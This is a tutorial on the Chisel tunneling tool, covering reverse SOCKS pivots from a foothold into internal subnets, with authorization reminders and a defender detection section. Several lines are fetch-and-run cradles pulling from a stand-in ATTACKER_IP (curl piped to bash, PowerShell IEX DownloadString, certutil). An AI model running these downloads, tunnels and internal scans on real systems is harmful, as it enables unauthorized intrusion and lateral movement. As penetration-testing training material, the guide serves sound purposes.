Chisel
Chisel is a single self-contained binary that tunnels TCP and UDP traffic over a plain HTTP connection. Run one copy as a server and another as a client, and you get an encrypted tunnel that punches through restrictive egress filters, plus an optional reverse SOCKS proxy that lets your tools reach networks the target can see but you cannot. It solves the classic “I have a shell on a dual-homed box, now how do I scan the subnet behind it?” problem.
You will reach for Chisel during the pivot phase: after you land a foothold on a CTF box, a homelab jump host, or an authorized internal asset that sits between you and an internal segment. It does not exploit anything. It moves your existing tools to where they can do their job.
What you will learn#
- How to install, update, and verify Chisel on both sides
- How to get the binary onto a target you already have a foothold on
- How a reverse SOCKS pivot works and why it is the default move
- Realistic examples for SOCKS, local forwards, remote forwards, and UDP
- How to chain your existing tools through the tunnel with proxychains
- The mistakes that waste the most time, and how to avoid them
- A commented cheat sheet you can paste into your notes
Legal and scope reminder#
Only tunnel through systems you own or are explicitly authorized to test. Pivoting deliberately reaches networks beyond the box you landed on, so your scope must clearly cover those internal segments too. CTF platforms, your own homelab, and dedicated practice ranges are fair game. Keep a short note of the foothold host, the internal range you reached, the authorization, and the date next to your output.
Prerequisites#
- A shell on the target (any user) and a way to transfer a file. This is the foothold Chisel runs from.
- Outbound HTTP/HTTPS reachability from the target back to your attacker box. If the target can browse the web, it can usually reach a Chisel server.
- Basic comfort with ports, CIDR ranges like
10.10.10.0/24, and SOCKS proxies. ATTACKER_IPis your own box (the server side);TARGET_IPis the authorized foothold; the internal range behind it is something like172.16.50.0/24.
Lab setup#
Keep every engagement in its own folder so binaries, notes, and loot never mix.
# One folder per box or per lab, with room for the binary and notes
mkdir -p ~/labs/chisel-demo/{bin,notes,loot}
cd ~/labs/chisel-demo
Use private ranges for practice targets (10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16). Throughout this guide, ATTACKER_IP is your box running the Chisel
server, TARGET_IP is the authorized foothold running the client, and the internal
segment you want to reach is 172.16.50.0/24.
Installation#
Chisel ships as a static binary, so on your attacker box you usually just download it.
# Debian / Ubuntu / Kali: package is sometimes available
sudo apt update && sudo apt install -y chisel 2>/dev/null || true
# Go install (gets you the current release on any platform)
go install github.com/jpillora/chisel@latest # binary lands in ~/go/bin
# Manual binary (most common): grab the release build for your OS/arch
# from the official jpillora/chisel releases, then make it executable
chmod +x ~/labs/chisel-demo/bin/chisel
Keep the matching binary for the target’s OS and architecture in your bin/ folder
too (a Linux amd64 build and a Windows amd64 chisel.exe, for example). Prefer the
official release build; it is statically linked and runs on minimal hosts with no
dependencies.
Getting it onto the target#
Chisel is a binary you move to the target and then run as a client. The transfer step is the same problem every on-target tool has, so for the full menu of ways to deliver it (HTTP, SMB, Windows download cradles, netcat, SCP/SSH, base64) see the file transfer methods guides. The chisel essentials, including the reverse-SOCKS pivot, are below.
Chisel runs on the target, so you need to move the binary there over the foothold you already have. The simplest pattern is to serve it from your attacker box and pull it down from the target.
On your attacker box: serve the binary over HTTP from the folder that holds it.
# Turn the bin/ folder into a throwaway web server
cd ~/labs/chisel-demo/bin
python3 -m http.server 8000 # serves everything here on ATTACKER_IP:8000
This makes your box a disposable web server. The target pulls the file over the access you already have, with no install on the target and no copy-paste of a large binary into a cramped shell.
On the target (Linux): download the binary and make it executable.
# Save to a writable, usually-noexec-free temp location
wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel
# /dev/shm is a good alternative when /tmp is mounted noexec
wget http://ATTACKER_IP:8000/chisel -O /dev/shm/chisel && chmod +x /dev/shm/chisel
Use /tmp or /dev/shm because they are world-writable and you can clean them up
afterward. For a binary you always save it to disk and chmod +x; you only pipe
straight into an interpreter (curl ... | bash) for shell scripts, never for a
compiled binary.
For a helper shell script instead of a binary, the pipe form is fine in a lab:
# Pipe a script straight into bash (lab use; shows in history and process lists)
curl http://ATTACKER_IP:8000/setup.sh | bash
On the target (Windows, if relevant): download with built-in tooling.
# certutil download (lands chisel.exe in the current directory)
certutil -urlcache -f http://ATTACKER_IP:8000/chisel.exe chisel.exe
# PowerShell equivalent
iwr http://ATTACKER_IP:8000/chisel.exe -OutFile chisel.exe
For a PowerShell helper script, an in-memory download cradle avoids touching disk:
# Run a .ps1 from your web server without saving it (lab use)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/setup.ps1')
Chisel is also a two-sided tool at runtime. Once the binary is on the target, you run a server on your box and a client on the target. The reverse direction is the key move: the client dials out to your server (so it works through outbound-only egress), and your server exposes a local SOCKS proxy that routes through the target.
# On your attacker box: start the server in reverse mode
./chisel server -p 8000 --reverse
# On the target: dial back and offer a reverse SOCKS proxy
/tmp/chisel client ATTACKER_IP:8000 R:1080:socks
After this, a SOCKS5 proxy listens on 127.0.0.1:1080 on your attacker box. Anything
you send through it exits from the target, so your tools now reach 172.16.50.0/24
as if you were standing on the foothold. R: means “reverse”: the listener opens on
the server (your box), and traffic flows out through the client (the target).
Update process#
# Go install route: pull the latest release
go install github.com/jpillora/chisel@latest
# Package route, if you installed from apt
sudo apt update && sudo apt install --only-upgrade -y chisel
# Manual route: replace the binary in bin/ with the newest release build
chmod +x ~/labs/chisel-demo/bin/chisel
The server and client should be the same major version. A version mismatch is a common reason a tunnel connects but immediately drops, so update both copies together.
Check if installed and available#
command -v chisel # prints the path if it is on your PATH
chisel --version # confirm the version (match it on both sides)
chisel --help # top-level help: server and client subcommands
chisel server --help # server-specific flags
chisel client --help # client-specific flags
If command -v prints nothing, you are probably running a downloaded binary by path
(./chisel or /tmp/chisel) rather than from PATH, which is normal on a target.
First safe test#
Prove both sides talk to each other entirely on your own machine, touching nothing external.
# Terminal 1 (server, your box)
chisel server -p 8000 --reverse
# Terminal 2 (client, same box, loopback)
chisel client 127.0.0.1:8000 R:1080:socks
Expected: the client prints Connected and the server logs a new session. Success
looks like a SOCKS proxy now listening on 127.0.0.1:1080. Failure looks like
connection refused (server not running or wrong port) or a version-mismatch message
(rebuild both sides from the same release).
Core concepts#
- Server and client: one side listens (
chisel server), one side connects (chisel client). Either side can be your box; the choice decides direction. - Reverse vs forward: with
--reverseon the server, the client can request remote (R:) listeners that open on the server. This is what makes the outbound-only pivot work. - Local forward (
L:) opens a listener on the client and forwards it to a host reachable by the server. - Remote forward (
R:) opens a listener on the server and forwards it through the client.R:1080:socksis the special reverse-SOCKS form. - SOCKS proxy: instead of one fixed port,
socksgives you a dynamic proxy. Point proxychains or a browser at it and reach the whole internal subnet. - HTTP transport: traffic looks like ordinary HTTP, which is why it slips through
egress filters. Add
--tlsor front it with a reverse proxy for HTTPS. - Authentication:
--auth user:passand--key/--keygenstop a stranger from joining your tunnel.
When this tool is useful#
- CTFs and labs: a dual-homed box where the flag service lives on an internal network you cannot route to directly.
- Homelab pivoting: reach a management VLAN from a single jump host you control.
- Authorized internal assessments: extend reach from a foothold into in-scope internal segments without dropping a full implant.
- Restrictive egress: the target can only talk out over HTTP/HTTPS, so a normal reverse shell or SSH tunnel will not leave the network.
- Quick port exposure: surface one internal service (a database, a web app) on your own box to test it with local tools.
When not to use this tool#
- When SSH access already exists;
ssh -D/-L/-Rdoes the same job with no extra binary to drop. - On fragile or heavily monitored hosts where dropping and running a known tunneling binary is too noisy.
- When you only need to reach one host on the same subnet you are already on; just use your tools directly.
- When the scope does not clearly cover the internal network you would reach. Pivoting is exactly the moment to re-confirm authorization.
Command anatomy#
chisel [server|client] [transport options] [forward specs]
# role -p, --reverse, --auth R:1080:socks L:8000:host:port
- role:
serverlistens,clientconnects. Pick which end is yours. - transport options: port (
-p), reverse mode (--reverse), auth, TLS. - forward specs: what to tunnel.
R:opens on the server,L:opens on the client, andsocksmakes a dynamic proxy instead of a fixed mapping.
Common flags and options#
| Option | Meaning | When to use it | Example |
|---|---|---|---|
server | Run the listening side | Always on your attacker box for a pivot | chisel server -p 8000 --reverse |
client | Run the connecting side | On the target foothold | chisel client ATTACKER_IP:8000 R:1080:socks |
-p | Server listen port | Match the port the client dials | chisel server -p 8000 |
--reverse | Allow remote (R:) forwards | Needed for reverse SOCKS pivots | chisel server -p 8000 --reverse |
R:1080:socks | Reverse SOCKS proxy on server:1080 | The default pivot | chisel client ATTACKER_IP:8000 R:1080:socks |
L:8000:IP:80 | Local forward on the client | Expose a server-side service on the client | chisel client ATTACKER_IP:9000 L:8000:172.16.50.10:80 |
--auth | user:pass for the tunnel | Stop strangers joining | chisel server -p 8000 --reverse --auth lab:lab |
--tls-key/--tls-cert | Serve over HTTPS | When HTTP egress is filtered | chisel server -p 443 --reverse --tls-key k.pem --tls-cert c.pem |
--keepalive | Heartbeat interval | Keep flaky tunnels alive | chisel client --keepalive 25s ... |
-v | Verbose logging | Debugging a tunnel that will not connect | chisel server -p 8000 --reverse -v |
Practical examples#
Each command below explains what it does and what to expect. Server commands run on
ATTACKER_IP; client commands run on the authorized TARGET_IP foothold.
# Reverse SOCKS pivot (the bread and butter)
# Server (your box):
chisel server -p 8000 --reverse
# Client (target):
/tmp/chisel client ATTACKER_IP:8000 R:1080:socks
# Result: SOCKS5 on 127.0.0.1:1080 on your box, routing through the target.
# Use the SOCKS proxy with proxychains to scan the internal subnet
# (set socks5 127.0.0.1 1080 in /etc/proxychains4.conf first)
proxychains nmap -sT -Pn -p 22,80,445 172.16.50.10
# Output: open ports on an internal host reached through the pivot.
# Expose a single internal service on your box (no SOCKS needed)
# Server (your box):
chisel server -p 9000 --reverse
# Client (target): forward your 8080 to an internal web server
/tmp/chisel client ATTACKER_IP:9000 R:8080:172.16.50.10:80
# Result: http://127.0.0.1:8080 on your box hits the internal web app.
# Authenticated tunnel so a stranger cannot hop on
# Server:
chisel server -p 8000 --reverse --auth lab:labpass
# Client:
/tmp/chisel client --auth lab:labpass ATTACKER_IP:8000 R:1080:socks
# UDP forward (DNS, SNMP, etc.) through the pivot
# Client: forward local UDP 53 on your box to an internal DNS server
/tmp/chisel client ATTACKER_IP:8000 R:53:172.16.50.2:53/udp
# Note the /udp suffix; without it the forward is TCP only.
# Local forward: client opens the listener, server reaches the destination
# Server (on a box that can reach the internal target):
chisel server -p 9000
# Client (your box): listen locally, forward through the server
chisel client SERVER_IP:9000 L:127.0.0.1:3306:172.16.50.20:3306
# Result: 127.0.0.1:3306 on your box reaches an internal database via the server.
# HTTPS transport when plain HTTP egress is filtered
# Server: serve with TLS on 443
chisel server -p 443 --reverse --tls-key key.pem --tls-cert cert.pem
# Client: trust the cert and dial out over 443
/tmp/chisel client https://ATTACKER_IP:443 R:1080:socks
# Verbose mode to debug a tunnel that connects then drops
chisel server -p 8000 --reverse -v
# Read the session logs to see auth failures or version mismatches.
Example workflow#
A realistic beginning-to-end pivot from one authorized foothold.
# 1. Prepare and confirm scope (note the internal range you will reach)
mkdir -p ~/labs/pivot01/{bin,notes} && cd ~/labs/pivot01
echo "foothold: TARGET_IP, internal: 172.16.50.0/24, authorized $(date -I)" \
> notes/scope.txt
# 2. Serve the right binary from your box
cp ~/tools/chisel bin/ && cd bin && python3 -m http.server 8000 &
# 3. On the target shell, pull and run the client
# wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel
# /tmp/chisel client ATTACKER_IP:8000 R:1080:socks
# 4. Back on your box, start the server (do this before step 3 in practice)
chisel server -p 8000 --reverse
# 5. Point proxychains at 127.0.0.1:1080, then enumerate the internal range
proxychains nmap -sn 172.16.50.0/24 | tee notes/internal-hosts.txt
From here, the SOCKS proxy carries your existing tools to the internal hosts: a web port leads to feroxbuster over proxychains, SMB leads to netexec, and so on.
Reading and interpreting output#
Connectedon the client means the tunnel is up. Watch for it after dialing.- A new session line on the server confirms the client reached you. No session line means egress is blocked or the port is wrong.
Listeningfor the SOCKS port on the server tells you127.0.0.1:1080is ready.- proxychains lines like
OKmean a connection went through the tunnel;deniedortimeoutusually means the internal host or port is unreachable, not a Chisel bug. server version X, client version Yin logs means a mismatch; rebuild both from the same release.- Silence after
Connectedbut no proxy traffic often means you forgot--reverseon the server, so theR:forward was rejected.
Common mistakes#
- Forgetting
--reverseon the server, so the client’sR:1080:socksis refused. - Mismatched server/client versions: it connects, then drops or behaves oddly.
- Downloading the wrong architecture binary for the target (arm vs amd64).
- Saving the binary to a
noexecmount; use/dev/shmor another exec-friendly path. - Pointing proxychains at the wrong port, or leaving a stale
socks4line in the config. - Running a TCP-only forward and wondering why DNS or SNMP fails; add
/udp. - Leaving the binary and a live tunnel running on the target after you finish.
Troubleshooting#
| Problem | Likely cause | Fix |
|---|---|---|
connection refused | Server not running / wrong port | Start the server first; match -p and the dial port |
| Connects then drops | Version mismatch | Use the same release on both sides |
R: forward rejected | --reverse missing on server | Add --reverse to the server command |
permission denied on run | noexec mount or no +x | chmod +x; use /dev/shm or /tmp |
proxychains timeout/denied | Internal host/port unreachable | Confirm the internal IP and that the foothold can reach it |
| No outbound connection at all | Egress filtered | Try --tls on 443, or front it as HTTPS |
cannot execute binary file | Wrong architecture | Download the matching OS/arch build |
| Slow or stalling tunnel | Flaky link | Add --keepalive 25s on the client |
Tools that pair well#
- proxychains: the usual way to push your existing tools through the SOCKS proxy.
- nmap: scan the internal range through the pivot (use
-sT -Pn, since SYN scans do not work over SOCKS). - netexec: sweep SMB/WinRM on the internal subnet over proxychains.
- feroxbuster / ffuf: hit internal web apps through the tunnel.
- socat / netcat: the relays and shells you often combine with a pivot.
- evil-winrm: reach an internal Windows host’s WinRM through the SOCKS proxy.
Automation and note taking#
# Log the server session with a timestamp so you can prove the pivot window
chisel server -p 8000 --reverse -v \
2>&1 | tee notes/chisel-server-$(date +%Y%m%d-%H%M).log
Record the foothold host, the internal range reached, the exact forward spec, and the
start/stop times. Screenshot the Connected line and any internal scan you reference
in a report, and keep a one-line scope note per pivot.
Blue-team visibility#
A Chisel tunnel is detectable. Defenders see a long-lived outbound HTTP/HTTPS session
to an unusual destination, often with a WebSocket upgrade, and a strange new process
running from /tmp or /dev/shm. On the target there is a fresh binary on disk, file
download events (wget/curl/certutil), and a listening socket from the client process.
Internal hosts suddenly being scanned from the foothold show up in their own logs as
connections sourced from a box that does not normally talk to them. As a defender,
alert on tunneling binaries in temp paths, persistent outbound WebSockets, and
east-west traffic from a host that should not initiate it.
Safer or lower-noise usage#
- Prefer SSH port forwarding when SSH access already exists; it leaves no extra binary.
- Run from
/dev/shmand delete the binary and kill the tunnel when you finish. - Use
--authso only your client can join, and--tlsto blend with normal HTTPS. - Tunnel only the ports you need with a specific
R:/L:forward instead of a full SOCKS proxy when one service is enough. - Confirm the internal range is in scope before the first proxied packet.
Alternatives#
- SSH (
-D/-L/-R): the cleanest pivot when you have SSH credentials; no extra tooling, well understood, and easy to log. Use it whenever SSH is available. - sshuttle: turns an SSH login into a transparent VPN-like tunnel for a subnet, with no proxychains. Great when you have SSH and want route-level access.
- ligolo-ng: a userland TUN-based pivot that avoids proxychains entirely and handles many connections smoothly; often nicer for heavy internal work.
- Metasploit autoroute/socks_proxy: convenient if you are already in a Meterpreter session.
Chisel wins when egress is HTTP-only and you want a tiny static binary with no dependencies. SSH wins for cleanliness when you have credentials; ligolo-ng wins for comfort on large internal networks.
Deprecated and legacy notes#
- The standalone SOCKS form is
R:socksorR:1080:socks; older notes sometimes showR:127.0.0.1:1080:socks, which still works but is more verbose than needed. - Some very old guides reference flag names from pre-1.x builds; check
chisel --helpon your version, since transport and auth flags have shifted between releases. --reverseis mandatory on the server for anyR:forward; tutorials written before this safety default sometimes omit it and then look broken.
Quick reference cheat sheet#
# --- Verify (both sides, same version) ---
chisel --version # match server and client
# --- Serve the binary to the target ---
cd ~/labs/chisel-demo/bin && python3 -m http.server 8000 # attacker box
# --- Pull it onto the target ---
wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel # Linux
certutil -urlcache -f http://ATTACKER_IP:8000/chisel.exe chisel.exe # Windows
# --- Reverse SOCKS pivot (the default) ---
chisel server -p 8000 --reverse # attacker box
/tmp/chisel client ATTACKER_IP:8000 R:1080:socks # target
# --- Use the proxy (set socks5 127.0.0.1 1080 in proxychains4.conf) ---
proxychains nmap -sT -Pn -p 22,80,445 172.16.50.10 # scan an internal host
# --- Expose one internal service on your box ---
/tmp/chisel client ATTACKER_IP:9000 R:8080:172.16.50.10:80 # http://127.0.0.1:8080
# --- UDP forward (note the /udp) ---
/tmp/chisel client ATTACKER_IP:8000 R:53:172.16.50.2:53/udp
# --- Authenticated + TLS (lower noise) ---
chisel server -p 443 --reverse --auth lab:labpass --tls-key k.pem --tls-cert c.pem
/tmp/chisel client --auth lab:labpass https://ATTACKER_IP:443 R:1080:socks
# --- Debug a flaky tunnel ---
chisel server -p 8000 --reverse -v # read session logs
/tmp/chisel client --keepalive 25s ATTACKER_IP:8000 R:1080:socks
Mini decision tree#
- Have a foothold but cannot route to the internal subnet: reverse SOCKS pivot.
- Egress is HTTP-only or filtered: use
--tlson 443 and dialhttps://. - You already have SSH on the box: prefer
ssh -D/-Rover dropping Chisel. - Only need one internal service: use an
R:port:host:portforward, not full SOCKS. - Tunnel connects then drops: check that versions match on both sides.
- Need DNS/SNMP through the pivot: add
/udpto the forward spec.
Final checklist#
- Scope and authorization noted, including the internal range reached
- Correct OS/arch binary transferred and made executable
- Same Chisel version on server and client
- Server started with
--reversebefore the client’sR:forward - proxychains pointed at the right SOCKS port and protocol
- Binary and live tunnel cleaned off the target afterward
- No real third-party targets used
Final summary#
Chisel is best when you have a foothold and need to reach the network behind it over
nothing but HTTP. The fastest way to start is chisel server -p 8000 --reverse on
your box and chisel client ATTACKER_IP:8000 R:1080:socks on the target, then point
proxychains at 127.0.0.1:1080. The most expensive mistake is forgetting --reverse
on the server, which silently refuses the pivot. Learn proxychains and
netexec next, since reaching an internal subnet is only
useful once you can enumerate it.